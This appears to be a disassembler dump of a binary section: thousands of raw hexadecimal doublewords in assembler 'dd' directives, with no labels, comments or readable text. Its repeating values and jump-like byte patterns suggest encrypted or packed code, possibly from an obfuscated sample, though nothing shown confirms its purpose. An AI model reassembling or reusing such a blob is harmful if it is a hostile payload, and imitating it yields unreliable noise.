		dd 0A3DB3720h, 0D532565Dh, 0C6F10891h, 0D6456F96h, 0A412580h
		dd 0A4A439B2h, 0E6529FDAh, 394AED13h, 0B5B759E1h, 0D732565Dh
		dd 0D0F06A15h, 43B3A337h, 0F5FD619Fh, 0B12294B4h, 0D1520312h
		dd 0B132429Ch, 1BD905BAh, 0EA79AE7h, 30828739h,	7D24C443h
		dd 0EE2F1C1Ah, 3C2D750h, 0D0455DBFh, 0D2F8E815h, 5EB32BDCh
		dd 0FD13EFE2h, 5DB937CFh, 0B121DA58h, 0BFDB56ABh, 603256D5h
		dd 72D434F8h, 25B9F14Ah, 711BA0C4h, 4DF6D5D2h, 6EB930CEh
		dd 7E9D731h, 0BE5237E6h, 0B1324B5Eh, 0A6B659EAh, 58325675h
		dd 0B13256A8h, 8D3BDF57h, 0D50C6CE4h, 95B0FAC1h, 8ECDD3E9h
		dd 0B4DB8ED6h, 473256EAh, 0E782265Eh, 0B1325652h, 5BB30C5Dh
		dd 0B7008295h, 0B125D358h, 0A3DB56ABh, 633256D5h, 0CF32FA96h
		dd 0F60914BFh, 4575D3A0h, 0C96D4C7Ch, 0A1DB36D7h, 77325657h
		dd 89A3E054h, 33712C05h, 3B0B7C4Bh, 58DB74F9h, 0B13256A8h
		dd 77D228ABh, 0BC6E90A8h, 90BA377Ch, 3C09D64Dh,	4D53CA84h
		dd 251FEC61h, 0BE525047h, 0B1325338h, 60B3305Dh, 8253BA12h
		dd 8EB1AF9Eh, 5B659ABh,	583256D6h, 0B13256E4h, 0C41FECE0h
		dd 0A1C31DA0h, 0D4988A3Eh, 0A2DBAB75h, 0FB325657h, 0ADA8493Fh
		dd 0F7FE4BACh, 274E6A71h, 149F3621h, 0B6B9B097h, 0B13ED652h
		dd 3A3D56AEh, 0B1325651h, 0B132D0A4h, 0BE5256D5h, 0D788895Dh
		dd 0D04FB9DBh, 583E2345h, 0B1325658h, 46BF0FF5h, 0B947A9FFh
		dd 0B1325142h, 0C6767FD5h, 0E78E82E2h, 0BDBD5925h, 0BE3256BAh
		dd 0B13250D6h, 0B1B359AEh, 59325657h, 0B132550Dh, 0BEF25D2Dh
		dd 0B132126Fh, 303DAE75h, 0B13256B6h, 0B134DD52h, 323D56AEh
		dd 0B1325657h, 58525120h, 0B13256C6h, 94ABBE96h, 0D8CF195Ah
		dd 6579594Fh, 0E75BCA4Ch, 30538A1Eh, 2C1E948Ch,	81DB378Ah
		dd 583256D5h, 0B13256EFh, 342A1E6Fh, 0A5F5D567h, 0B13AD552h
		dd 3A5256AEh, 5589309Fh, 0A6DB3729h, 0BECDA92Ah, 0B1325C66h
		dd 0B137BF75h, 0A11756BAh, 3826BAEAh, 0A2DBAAEBh, 77325657h
		dd 0D03B526Fh, 4E88592Bh, 1E901BF0h, 6A34D386h,	0C4CDAD7Eh
		dd 0C4CDAE51h, 0A4B059A6h, 0D1325657h, 58EDE1A4h, 0B13256DEh
		dd 19A4DEEAh, 7618393Eh, 0D06461BBh, 58C761A2h,	0B13256A8h
		dd 963E190Fh, 52DAF72Ah, 493256D7h, 0B1325103h,	8636EC75h
		dd 7D263D59h, 353D9656h, 0B1325685h, 0B5BD5937h, 0D73256ABh
		dd 0BEDD716Ah, 0B1324561h, 0B13FBE75h, 122556BAh, 885FB12Fh
		dd 394E98E5h, 0EE503825h, 0B307BFCAh, 3ACA56D5h, 393DAAAFh
		dd 0B1325672h, 0B133D1B5h, 88C7565Dh, 0ADB059A9h, 49325655h
		dd 0D0B3E1CBh, 0D1CE132Ah, 0D0E4DD12h, 0B13629F6h, 0B11ED2B5h
		dd 0BADB565Dh, 0A63256AEh, 43C0B156h, 0C9BA0484h, 0CEB1D33Dh
		dd 353D56E6h, 0B1325667h, 0B1B9BF42h, 0B6DB565Dh, 383256AEh
		dd 0C4D35A66h, 4E8A84EDh, 0D1CDA92Ah, 0E3D8661h, 305237AFh
		dd 994AD16Dh, 0B3B0590Bh, 3A3256AEh, 0B48B37A6h, 0D13256ABh
		dd 0B130DBDAh, 42B956EAh, 42539DFEh, 0B13FBF11h, 0E6AA565Dh
		dd 0EF489B65h, 290FCFC7h, 58D74439h, 0B13256C1h, 81AF7C47h
		dd 0AC40079Eh, 74D2850Dh, 0F1360B63h, 58233D60h, 4ECC87BEh
		dd 3B3D3654h, 0B13256C3h, 0B1324703h, 0C8F08C75h, 1756D8F1h
		dd 795082DBh, 0FFABA5ADh, 0D2861964h, 0A14DD5CAh, 0CBB659D0h
		dd 493256EAh, 0B72229F6h, 0B1A2D3B5h, 0A0DB565Dh, 0B73256AEh
		dd 320D298Bh, 0D35BE622h, 6D21575Eh, 1D73010h, 0BE52A334h
		dd 0B1325933h, 0B138BF5Dh, 810956AEh, 0DC4FCBCEh, 4CE691ACh
		dd 0B575DDB4h, 0B126BF8Ah, 0D0F35675h, 1C7450FCh, 5A0EEE66h
		dd 0D94FF043h, 7FCBCAD6h, 3B3D66A9h, 0B13256D0h, 8D1E4B53h
		dd 0EEB9370Bh, 0B13BBFB6h, 0C3EB565Dh, 0B58762BBh, 5895CE0Fh
		dd 0B1325638h, 0B575DD29h, 518D308Ah, 0EEB9377Fh, 0CCDBAEB6h
		dd 0D132565Dh, 0B137DCA1h, 30545657h, 1DF374Ah,	0F6B93714h
		dd 0B6B659EEh, 0BE325675h, 0B1325731h, 0EEB9A35Dh, 0A9BF59A2h
		dd 0BE325657h, 0B132442Ah, 0B13FBFD5h, 42FC56EAh, 0FD54A58Fh
		dd 0BC9379EDh, 9A656EC3h, 363D52F1h, 0B1325656h, 0B4D9D552h
		dd 0B120DCDAh, 0BCDB56EAh, 4D325675h, 0CA27427h, 62514386h
		dd 7A810A62h, 0A14DD5A2h, 0BCB759A8h, 493256D5h, 0B134BFABh
		dd 11575675h, 9C43B645h, 38CB8F76h, 4D3357F2h, 0B133DD58h
		dd 9CB56ABh, 4ECDA92Ah,	0B137EF1Fh, 42CB5675h, 0B126BF11h
		dd 9CBF565Dh, 7E5F2390h, 5E7EC82Eh, 410D6079h, 10BB04C3h
		dd 0D2DB738Dh, 58CDA988h, 0B13256BDh, 52989C8Bh, 0D01360C2h
		dd 0A9B65937h, 583256ABh, 0B13256C6h, 0E0C57A30h, 487EE693h
		dd 650B9A24h, 0CCD4E2A2h, 58EE7086h, 0B1325643h, 26A65421h
		dd 0FBF36099h, 2C196FE7h, 68A64A32h, 2544D7B8h,	383D9F3Ch
		dd 0B13256BFh, 0B1325ABEh, 8AC6A7ABh, 0A3113B54h, 0DCC5EEE6h
		dd 0B9F0AE3Ch, 0A2B659BAh, 0D132565Dh, 0B1325C47h, 22DD557h
		dd 0F44416B7h, 0D110D557h, 4967378Bh, 363DBAFEh, 0B13256A1h
		dd 0B120BF3Dh, 563556AEh, 0B4D50CBFh, 81ED12FAh, 67F5BFE8h
		dd 933C298Fh, 32530D25h, 0D752AA7Eh, 0BB6A98DCh, 77EBD7FDh
		dd 0EB2A8919h, 5852AFCAh, 0B13256C7h, 62CD1F09h, 0B2F4D11Dh
		dd 432547ABh, 4BE051Fh,	0F4B916C2h, 3B52365Fh, 2ED8D75Ch
		dd 0D039A345h, 0B12BDBE5h, 0A5DB5675h, 8D3256BAh, 0AB5A466Dh
		dd 0D4FB006Eh, 6C76892Fh, 796467F8h, 0D06411E2h, 0BE3E13D1h
		dd 0B13220F7h, 0B126BFBAh, 0D606565Dh, 0EC570AB0h, 5616FBAEh
		dd 627346D4h, 0D374531Fh, 0F409C3F8h, 0E5B55965h, 0D13256BAh
		dd 0B131D852h, 0E3D56AEh, 0B120BFAEh, 84AE56ABh, 0E2B0A3FFh
		dd 274F8A26h, 33FB1B3Eh, 5F7F7865h, 4D77913Ch, 0B13256AEh
		dd 0B13ED358h, 343D56ABh, 0B13256D3h, 0B132D7E5h, 85DB5675h
		dd 0BE3256BAh, 0B13258DDh, 3B3D36AEh, 0B1325657h, 0B132D6A4h
		dd 765356D5h, 0B133AAAFh, 0BFDB5675h, 6A3256BAh, 0BF335A8Ch
		dd 881D29E2h, 0B91AD972h
		dd 0B133BFD4h, 0D0C756D5h, 0B1325003h, 0A4147575h, 3AD1063Ah
		dd 383DAA18h, 0B13256A9h, 0D7EDDD37h, 0D1538820h, 92A29754h
		dd 2D8970F5h, 0D02913A1h, 0BBB25973h, 5832565Dh, 0B13256ABh
		dd 0F2B44927h, 0B13E9405h, 0D752032Dh, 660B8C6Bh, 3A53FEC7h
		dd 0B135BF56h, 0F49B565Dh, 6D480D65h, 4DF6D5C4h, 0D752AECBh
		dd 0D02C546Fh, 0D152368Bh, 9835E913h, 0B1325B52h, 4D333C5Dh
		dd 0C7F4867Ah, 344F13E4h, 0D06B090Bh, 3876E36Dh, 0B1DA37F7h
		dd 0EB325675h, 6B47BC3Bh, 373D506Fh, 0B13256BCh, 0B1325BBEh
		dd 15FAAABh, 963DD718h,	0F04DC840h, 3A3DEDD5h, 0B13256A8h
		dd 0B13ED252h, 0B6DB56AEh, 0EB325657h, 77DD96E2h, 82C74DEEh
		dd 0E3CB3623h, 0B132D77Ah, 0D06B56BAh, 59528D6Eh, 0B13256A3h
		dd 6E83AD31h, 0A1FC812Ch, 29FBC5B3h, 0F48B3094h, 5BB20971h
		dd 0ECBB37DEh, 59C736A1h, 0B13256A8h, 377300Dh,	0EBC747DBh
		dd 0B7DB36B4h, 8B3256EAh, 0C6350BE6h, 0B139BE4Fh, 8E57565Dh
		dd 0F894A747h, 0E40D1793h, 0EE6EE013h, 9C88DDB4h, 5834647Eh
		dd 0B1325665h, 0A7CC76Eh, 4922F62Dh, 916815BCh,	8716E0DFh
		dd 0B1324642h, 431ADFD5h, 8A3BB817h, 692296F1h,	67F65EBDh
		dd 0B10DD5E9h, 0B36DD2A1h, 0A1DB5657h, 0D83256ABh, 2CF3A57Eh
		dd 0B859507Fh, 1E34470Bh, 32FECEEDh, 343DA962h,	0B1325691h
		dd 0B121DF58h, 0BFDB56ABh, 0CE3256D5h, 481B038h, 63EDC0DCh
		dd 8A480E3Ch, 0A5F5D582h, 0B1325347h, 72821557h, 1FDB944Ah
		dd 58CDA92Ah, 0B13256E5h, 0A2ECA784h, 7AEAD229h, 78EBFBD1h
		dd 32A26938h, 0BE325228h, 0B132632Fh, 0CEB1AED5h, 353D56E6h
		dd 0B132565Fh, 698559DAh, 0D0CADD3Bh, 0B1323847h, 0A5DB3657h
		dd 0DC3256ABh, 5FBFD094h, 7FB26573h, 6D968DEh, 890D785Bh
		dd 3BE9E423h, 0F4CD3773h, 0B13EBFABh, 249356ABh, 339224E7h
		dd 9440B7Ah, 32CE28C4h,	0BCDB427Dh, 9E32565Dh, 19965926h
		dd 0CDFA33CEh, 0D3AB949h, 678D30B5h, 0B137BE08h, 0A4B25675h
		dd 0BEE080C0h, 0D06AA5EAh, 4ECD4E47h, 0B9BD59A8h, 0BE3256ABh
		dd 0B1325453h, 325336EAh, 0BE37460Ah, 0B1323A3Eh, 0CEB1A35Dh
		dd 343D50BEh, 0B13256C7h, 0B13EDBA4h, 0D75256D5h, 0BE16FD52h
		dd 0B13256F4h, 0D17337BAh, 0EC8E952h, 0D3760761h, 0B575DD36h
		dd 0B1325A42h, 3E35B3D5h, 0C70F0110h, 4A57DC2Dh, 0BD6DDDB4h
		dd 0B13253B4h, 170666AEh, 8DB98C1h, 0D13256ABh,	0B121DBDAh
		dd 0BFDB56EAh, 79325675h, 0C40E34FAh, 0F7666A6Eh, 0A69E177Dh
		dd 668559B0h, 0B575DDCAh, 0B132533Ch, 47621EAh,	0EEB9F061h
		dd 0C2DBAFB6h, 5832565Dh, 0B13256A4h, 0B1DDFCF9h, 2B54CFF0h
		dd 0B4DB6C58h, 0FF3256EAh, 3C54C431h, 44361131h, 583E09D6h
		dd 0B13256A8h, 526F81FBh, 0EE19A9E2h, 0BEDB36D1h, 0AF3256EAh
		dd 0DBEF93FCh, 0C3557E7Eh, 9BC62C1Eh, 3253A930h, 32CE53BCh
		dd 0BE3146D4h, 0B1327750h, 305436EAh, 308327ABh, 407CD44Ah
		dd 0BE73372Ah, 0B1325A2Bh, 0B7B95957h, 0BE3256ABh, 0B132565Fh
		dd 6819AFEAh, 0B138D27Ah, 0B5256BAh, 9AD300AFh,	0D0F4DDC8h
		dd 0B0330ADEh, 0B1324442h, 91027AD5h, 89EFE564h, 0FC000879h
		dd 9DEF2970h, 977FE9Dh,	4ECDA951h, 5B87AA37h, 0B137EFCAh
		dd 0BADB56D5h, 623256EAh, 0C08983F4h, 0A2474A8Ch, 1AC1CCADh
		dd 0B1325E47h, 0BF79AF57h, 0A7AC159Dh, 4C99BFF5h, 3B3DA915h
		dd 0B1325678h, 0B1325E53h, 0CB0E4F5Dh, 4C7AC3B9h, 323D37ABh
		dd 0B13256AAh, 4D77DD2Ch, 0BE633616h, 0B13256F6h, 373D0DBAh
		dd 0B1325648h, 0B1324647h, 32A95D57h, 0FCC85BEEh, 0D2B56D57h
		dd 1F7393EFh, 0D1FB37FBh, 0D0F2E9B5h, 4962AA9Eh, 0B1325D47h
		dd 60C48057h, 94777D2Ah, 41964196h, 6EB236BBh, 0D0C0DD23h
		dd 0B1324653h, 0F64FE95Dh, 3C370D12h, 16608ABCh, 945F0D4Fh
		dd 0B9DB056Eh, 263256EAh, 0FF3E9EE0h, 591A3232h, 0B132565Dh
		dd 0AFD8D7F4h, 48346489h, 0B1325142h, 0F95E2BD5h, 0C371FCC0h
		dd 25E2CCF8h, 44525088h, 0D0CADD3Bh, 0B1323216h, 40B33657h
		dd 0BBEA4C7Ah, 0B134D2DAh, 363D56EAh, 0B1325675h, 0B4A3BEDBh
		dd 3ACA565Dh, 7009AAA5h, 0B1325EBEh, 0CB88A6ABh, 92680A30h
		dd 0B19EBFFBh, 0D1CA5675h, 49FDDDDCh, 0B579553Ch, 0B3B159CEh
		dd 0E0325657h, 0B13FBFF3h, 0CF0656D5h, 12DA407Ch, 0DF2CFFF8h
		dd 0D058358Ch, 333D9766h, 0B132560Eh, 0D7EBDD37h, 0BE538820h
		dd 0B1324658h, 0B139BFEAh, 690C5675h, 0E992FE4Fh, 1FA18B59h
		dd 0A1795506h, 0C2883037h, 0B137BFC8h, 13D156D5h, 0D08EEF9Fh
		dd 333D974Eh, 0B132569Ah, 0B13259B4h, 0E9EFC5AEh, 0C8A788CCh
		dd 1C8082Fh, 56C76725h,	0B1324003h, 0B0B75975h,	493256BAh
		dd 0B13225B4h, 0B5B859AEh, 0D1325657h, 5853BB1Dh, 0B13256B1h
		dd 0B13EDFE5h, 343D5675h, 0B13256BCh, 0B132D752h, 2BBF56AEh
		dd 0B701DD6Bh, 0BEE1A953h, 0B1325759h, 8CDBAFEAh, 0D1325675h
		dd 79F1D7DCh, 60B330A2h, 4D53B518h, 3F50CCDAh, 303D5098h
		dd 0B13256DFh, 79DBD68Ah, 0FC00DACFh, 62CD37BAh, 0B120BFA5h
		dd 0D3F056AEh, 0BD81D961h, 0F47C45E0h, 5B467D3Fh, 188BFE2Eh
		dd 60B3362Eh, 0D6549E11h, 0BFDB0F3Ch, 3A3256AEh, 3560A5F1h
		dd 5765DB12h, 0B1C818BBh, 0A5DB0E56h, 93325675h, 210A870h
		dd 7EEE606Ch, 95661C30h, 238AD73Bh, 720C96D9h, 0B138D1DAh
		dd 0B4DB56EAh, 0FC325675h, 0DE32157Ah, 0B9B75908h, 0D13256AEh
		dd 7B4D2FECh, 3A53AF89h, 0B0BE5939h, 493256EAh,	0B132569Dh
		dd 5BB30CBAh, 0B700898Ah, 0B1325D47h, 8894F757h, 8F1CA8B5h
		dd 0AC344925h, 0B139DAE5h, 0B7DB5675h, 7B3256BAh, 4DB79716h
		dd 0B8DB36D6h, 5F325657h, 93981589h, 0A9F3A272h, 0B1325103h
		dd 13D68675h, 0CB987DDAh, 25E2ECD0h, 3C3D509Ch,	0B132564Fh
		dd 0B13CBECBh, 3DDF56D5h, 0C8BAFF65h, 2ABBCA44h, 175004C3h
		dd 0D0533602h, 583A1325h, 0B1325643h, 0BED00AA6h, 923889ABh
		dd 71CEFB2Bh, 5F61F22Dh, 1E1A6A3Dh, 3AC751D4h, 3D3D5AEBh
		dd 0B1325643h, 0B13CDAA4h, 0B8DB56D5h, 53256EAh, 294F4090h
		dd 74892F68h, 583611D4h, 0B13256BDh, 134CFE04h,	0CFFBA769h
		dd 19D90F04h, 135EB9ACh, 3A18402Dh, 0BBDB46FFh,	1232565Dh
		dd 511EABD6h, 2053A4B3h, 0F6BBAF1Ah, 0F4B9AAD9h, 0F28836FEh
		dd 493D4BF6h, 0A175DFDBh, 0B13EDF52h, 373D56AEh, 0B1325651h
		dd 0B132DFA4h, 0A3DB56D5h, 0E43256EAh, 0B149BB4Bh, 0DFA3A2CDh
		dd 0C690D39Ah, 92CAF108h, 0E0523738h, 30540C53h, 0D0C2ED22h
		dd 0B126BF23h, 98355675h, 34CB131Dh, 28457B9h, 9C0CC3ABh
		dd 39173E66h, 0A1F0CAAEh, 3A5436D5h, 44523718h,	909FD3B3h
		dd 48755096h, 0A6414C35h, 0B6B65906h, 0BE325657h, 0B1325723h
		dd 4CDAAD5h, 0B71E51D7h, 0B126BF80h, 51D056BAh,	0C62B4A67h
		dd 0D69D40E9h, 618DAEC4h, 1658E870h, 34BF2619h,	0B71DD0E6h
		dd 0B132509Ch, 7095A3BAh, 4EA57894h, 0E54367Eh,	3054EF6Ch
		dd 0D0381471h, 0B132443Ch, 0C937CAEAh, 7DA1ED0Ah, 6DD10C26h
		dd 1F28C077h, 0E3B340BFh, 0B123BFABh, 8C9D56ABh, 1F1278Bh
		dd 50F1E6A9h, 5F92B8B7h, 3CE7F86Ch, 83A40ED7h, 0B7B259A8h
		dd 0D1325657h, 0EFE1E8CDh, 4EC707B4h, 46B3363Ah, 94CA3D16h
		dd 0D0CBDDDCh, 51813607h, 99D8D7C8h, 33BF3700h,	0B700C0F3h
		dd 0BCDB01B5h, 0F33256EAh, 0EF1236C4h, 242FCEC4h, 8A29CFDBh
		dd 438B30F7h, 0BECA37A2h
		dd 0D13E161Ch, 0B137D7DAh, 0E58956EAh, 0D75A051Dh, 8375B83Bh
		dd 0D152363Ch, 0D06801CFh, 3325EE31h, 0BEEADDCAh, 0B1325B52h
		dd 305436EAh, 305DA9A3h, 9900D87Ah, 0BE60376Bh,	0B1325724h
		dd 803DAE57h, 5E8C06CBh, 0EB738BD7h, 0D3437550h, 58683724h
		dd 0B13256AEh, 61DDACAAh, 513E2C85h, 2C1781D3h,	74C8033Ah
		dd 0F39DDD15h, 3E3D95E9h, 0B1325679h, 0B134D4B5h, 393D565Dh
		dd 0B13256AEh, 0A393D4DEh, 0A1DB5087h, 443256D5h, 0CCF58043h
		dd 30B49B6Ah, 0F30B64A8h, 0D0AA6F55h, 0B9DB9552h, 0B3325657h
		dd 0C7534718h, 516AEFB4h, 10E9h, 727CB800h, 0EEC7719Ah
		dd 46316313h, 807E96D6h, 0B9605263h, 1ADC03Dh, 38E0Fh
		dd 0BF0F0000h, 0E861D6h, 5A000000h, 0E2B9EA81h,	0E9F80632h
		dd 7, 789C4AD6h, 521B1E0Ch, 0E8C0Fh, 9E90000h, 8B000000h
		dd 0FCE1F583h, 22071234h, 12A1828Bh, 0EE9062Ch,	0FD000000h
		dd 33A4B813h, 0BD73A3Dh, 93237C17h, 4E6DB994h, 840F41C6h
		dd 1, 0FCE1F7F8h, 18A0F5Ah, 0F8000000h,	303905h, 0F2BE6000h
		dd 0E9247D8Bh, 11h, 8393A0E9h, 0A7559CBDh, 0B7B97EE1h
		dd 546F154Fh, 5160614Bh, 0E8586160h, 0Dh, 0F645622Bh, 0E7F49D46h
		dd 4503DA8Fh, 0F08B668Dh, 0FF25615Bh, 0E97FFFFFh, 12h
		dd 37595516h, 0E63A629Eh, 0CE747FEBh, 0B5BC8917h, 8289ED9Ch
		dd 62C12A1h, 0DE9FC60h,	61000000h, 4169811Fh, 2A278FEAh
		dd 0FCEAFCCFh, 1A8D0F61h, 60000000h, 760540B9h,	0EE949h
		dd 0D17E0000h, 46A8EB59h, 58A26CEFh, 74682A16h,	0B8605A61h
		dd 3DE2F6F3h, 7E9h, 6B9DE700h, 3089037Eh, 88A0F61h, 0F000000h
		dd 280h, 59616000h, 6090B660h, 0FD98B66h, 82h, 0C3616100h
		dd 0EE9h, 0A23A6600h, 90FC5D66h, 0FB549F37h, 51AFC47Fh
		dd 188D0Fh, 13E90000h, 5F000000h, 0B5B9AFCh, 5B981C6Bh
		dd 6213BFB1h, 1EB9A71Dh, 0E952587Eh, 12h, 618EBE17h, 93E59BD5h
		dd 7F422676h, 0CDC5F905h, 6E94B44h, 0DA000000h,	43D7A225h
		dd 0E8C9h, 815A0000h, 32E434EAh, 8E906h, 86180000h, 0E75F6FE6h
		dd 8BFC6EF0h, 88C0FC8h,	0F000000h, 289h, 0E8616000h, 0FFFFFE2Fh
		dd 5E9h, 725B0300h, 7E9D22Fh, 0EF000000h, 0D18ABC08h, 0D233E74Dh
		dd 7E9h, 73749200h, 0C6CA1A6Ah,	6660F1F7h, 0E2D0EF81h
		dd 6810Fh, 880F0000h, 0
		dd 830F6061h, 5, 7803C7BFh, 0C4A1B82Ah,	8B611E43h, 11E9C2h
		dd 0C5B90000h, 0DAE12B8Dh, 5FBBCB65h, 31D63B53h, 5A868F63h
		dd 68B0F60h, 81000000h,	66765DAh, 6830F63h, 81000000h
		dd 0EAE85CC0h, 0F8596152h, 860FC3F9h, 10h, 0BE9h, 70F32C00h
		dd 0D5C9E688h, 0F932D2B3h, 8BF5C08Bh, 5B760C0h,	6E9h, 85EC3600h
		dd 618A1479h, 0ABA0858Dh, 0F5F50632h, 5060D0FFh, 59D78B66h
		dd 66616CB2h, 860FC18Bh, 14h, 0E8E0Fh, 9E90000h, 80000000h
		dd 370F11B9h, 0B8CA0C84h, 0E28D858Dh, 13E90632h, 84000000h
		dd 3F282C25h, 0E4163AF2h, 97D0ABD8h, 7D07B3F8h,	858973DFh
		dd 62C1625h, 0BE9h, 28362500h, 0E5F9E599h, 1DB34E19h, 0E3ED858Dh
		dd 0B1600632h, 42DB80DCh, 15880F61h, 0E9000000h, 10h, 314FB320h
		dd 0A0BC7E9Ah, 54704FECh, 0AE2A24EAh, 1E958589h, 0B8FC062Ch
		dd 0
		dd 0FC00BF8h, 15684h, 85C6F900h, 62C21ADh, 78E0F56h, 0F000000h
		dd 18Fh, 0DF68FC00h, 60A9C530h,	61F9BF0Fh, 73DB5FFh, 11E9062Ch
		dd 8000000h, 5CC73F23h,	0EA599EBCh, 15B3C6B7h, 0B93E092Bh
		dd 0C858DF9h, 0FC062F86h, 50F8D0FFh, 0F7B70F60h, 8E9h
		dd 8BA73F00h, 29F67E94h, 8D8D61C0h, 62C3129h, 0BB4BBF60h
		dd 0BA664364h, 0F619C50h, 1087h, 0BE900h, 2CD90000h, 4BFD51FCh
		dd 467A2562h, 6AF85129h, 0EE86004h, 2000000h, 98B409F1h
		dd 80787083h, 0C9E7DE9Dh, 5B6160C4h, 10006861h,	6E90000h
		dd 6D000000h, 814EF783h, 0CDB5FF0Ah, 60062C20h,	0DFC060BAh
		dd 13E948h, 0AFCD0000h,	6BCC1014h, 5404610Fh, 0C5A8404Eh
		dd 93E45FB6h, 0D0FF6147h, 0CE860h, 954F0000h, 647A5330h
		dd 61FD1712h, 8166792Ah, 585657C3h, 2890Fh, 61600000h
		dd 0CDBD8B61h, 0F062C20h, 58Ch,	0B70F6000h, 11E961C8h
		dd 8C000000h, 0CAA931FCh, 50708B33h, 0E21DFFB3h, 0DA7AC146h
		dd 0E93C7F03h, 5, 0F86C4D94h, 0F8C7812Eh, 0E9000000h, 0Eh
		dd 0F9DE9706h, 0F5913D68h, 81096447h, 47C70833h, 2024h
		dd 0FF96060h, 586h, 6F0BB00h, 8D612FD3h, 2C08FD9Dh, 38BFC06h
		dd 0FC00BF9h, 2C84h, 6E900h, 0BD720000h, 137EFBF5h, 0F60008Bh
		dd 68Fh, 88C98100h, 8B18F1FAh, 438961F3h, 7E904h, 93E60000h
		dd 77A5CF49h, 4CF6B983h, 8D8D0023h, 632E890h, 11E8h, 0D0E8FD00h
		dd 0FEA05E0Ah, 8C84B738h, 0D3CA4994h, 58F5F505h, 5E9h
		dd 0CDF5F700h, 8D8957F4h, 62C2BA5h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0D7C35343h,	61F860E0h, 12D985C7h
		dd 60DC062Ch, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 3CB83BC3h, 7DA6EDEBh, 0DE968h, 5B190000h
		dd 71036680h, 609B8ACEh, 0BB64696Ah, 0AA76FCBh,	29C185C7h
		dd 62Ch, 6A0000h, 3E852h, 5A200000h, 54895AC3h,	44810424h
		dd 160424h, 52420000h, 0AA3CE9C3h, 12C58D89h, 10E9062Ch
		dd 33000000h, 6B6FB2AAh, 0CA567320h, 386D142Ah,	0FF835ABCh
		dd 2C08E1B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1504h, 0C3504000h, 0AE9C27Ah, 16000000h, 567FFDDDh
		dd 204016FEh, 0F595FF7Eh, 6A062C15h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 52E5C356h
		dd 890EBF36h, 2C156595h, 0DE906h, 0AF460000h, 0A08C7017h
		dd 0B294BF1Ch, 6A67B5A9h, 0B195FF00h, 8B062C26h, 0D97AEBC0h
		dd 0FD51FC2Ch, 7A25624Bh, 0C9B02946h, 7F4525CFh, 4153AD2Eh
		dd 0CF7AC42Ch, 52F918CCh, 37CAF5E2h, 33452159h,	8FFF958Ch
		dd 74FD90E2h, 613F2D74h, 0E77E67D4h, 0C2A84729h, 0F26093AFh
		dd 5AB1BCA5h, 0D2658BE6h, 0AD14EA64h, 58619B11h, 28E9F40Fh
		dd 0D915A9D2h, 40D397A1h, 60CC37C7h, 0F732D8B5h, 4981FF87h
		dd 235CDC1Dh, 7886F233h, 66E6EC6h, 0D3676FBEh, 38582490h
		dd 11E8C1h, 0EF140000h,	60D799CAh, 3268F8D6h, 1592ADE7h
		dd 81F20BD4h, 521871C0h, 0B9665A6Ch, 0C2814655h, 678Ah
		dd 2C39858Bh, 0B068062Ch, 33000019h, 2C24C58Dh,	0D98B5E06h
		dd 816632FFh, 5F1236C1h, 0EF81CA8Bh, 3774214Ch,	12219D8Bh
		dd 0C781062Ch, 60D638A5h, 1D0D8523h, 0EF81062Ch, 6CB85E56h
		dd 32919D8Bh, 3A89062Ch, 3CBE6660h, 0AE97Dh, 4D920000h
		dd 47AB3D2Ah, 9356CA8Ah, 9EEA8161h, 0E948DB8Ch,	0Fh, 0D97B447Dh
		dd 0B1E9FFDFh, 3AD8ED5Dh, 81A235A4h, 0DB8C9AC2h, 0B46FB948h
		dd 0EE814EDDh, 1, 0D850Fh, 62B30000h, 1BE9h, 8B087400h
		dd 0F5866F7h, 75E9C6BFh, 4FFFFFFFh, 0D0C93B7Ch,	0D4994965h
		dd 69B3DA1Fh, 0BE8h, 0A6BA4400h, 95463E8Ch, 49C8C871h
		dd 5ECBB70Fh, 81DE8B66h, 5F1FC6h, 18D8B00h, 0BA062C06h
		dd 17A8h, 813E8BFCh, 73929CC7h,	65BD291Fh, 81062C15h, 56AE7EFh
		dd 4D8D8961h, 81062C1Ch, 54E967C7h, 57DA8B01h, 31819D8Bh
		dd 68F062Ch, 20B98D03h,	0EE83062Ch, 0CE902h, 1A990000h
		dd 9A483CA7h, 0CB1B6DFh, 4E4E2B61h, 1359BD29h, 0EA81062Ch
		dd 1, 0FFA7850Fh, 858BFFFFh, 62C10D1h, 17E9h, 74927000h
		dd 76h,	4 dup(0)
		dd 52DE9h, 0EBAC6800h, 17E90632h, 68FFF992h, 632EC2Ah
		dd 0F9920DE9h, 0ED8E68FFh, 3E90632h, 0F6FFF992h, 8D3E8FAFh
		dd 27D829B3h, 0C273C44Ch, 5B0C5DE9h, 1AA8F97Fh,	2886481h
		dd 0A02200B1h, 3DC19E4Fh, 0D5F33BECh, 0A49D784h, 37F050B4h
		dd 0F92E00D6h, 25A7851Eh, 852D8D7Dh, 9F833D95h,	94953DC3h
		dd 1FDD2E4Ch, 0DE8610EAh, 0BA3D91D0h, 0ED5D31C2h, 7106358Dh
		dd 4127DB49h, 6BCBE0CFh, 3469ABEDh, 0E559D456h,	2531C24Dh
		dd 37C729D7h, 93F3F507h, 6663B03Bh, 239337EEh, 0D9570A5h
		dd 98F2FDB5h, 9737EE64h, 0E6CC9B7Eh, 9D582973h,	308h, 959F3B5Fh
		dd 3638B600h, 46D384C9h, 0BC4AA211h, 0EE05707Dh, 8430A037h
		dd 4DB8879h, 1D780D29h,	6A47B844h, 0EE4E3EE6h, 0BF2C2E70h
		dd 548EDD2Dh, 9AA32E86h, 0E0347CC7h, 97EB5F9Eh,	9D2B387Ch
		dd 7C97E85Eh, 5ABA2A38h, 7E269602h, 72F03ACFh, 991FFB30h
		dd 1EA901F1h, 3E50D9B0h, 0BFF472E2h, 57085977h,	168CF10Fh
		dd 0E84E1616h, 34951B0h, 0ACF30000h, 0B08A3B8Ch, 4924D526h
		dd 0E6BF70C1h, 7C58095Ah, 8617A5F6h, 0B0018763h, 4E9F21FFh
		dd 0EB3CC09Dh, 83D4F23Ah, 0B50948D6h, 0D537F051h, 909201FFh
		dd 444669C6h, 0B7E63E9Dh, 1B5AD822h, 37F5F214h,	558A0878h
		dd 4075F379h, 0B7FBE66h, 4B37F1FBh, 0C2237BDBh,	0C19E3511h
		dd 1D5FDD3Dh, 0F1FB68DEh, 0C93AAA37h, 581068ECh, 0F1FBFE4Dh
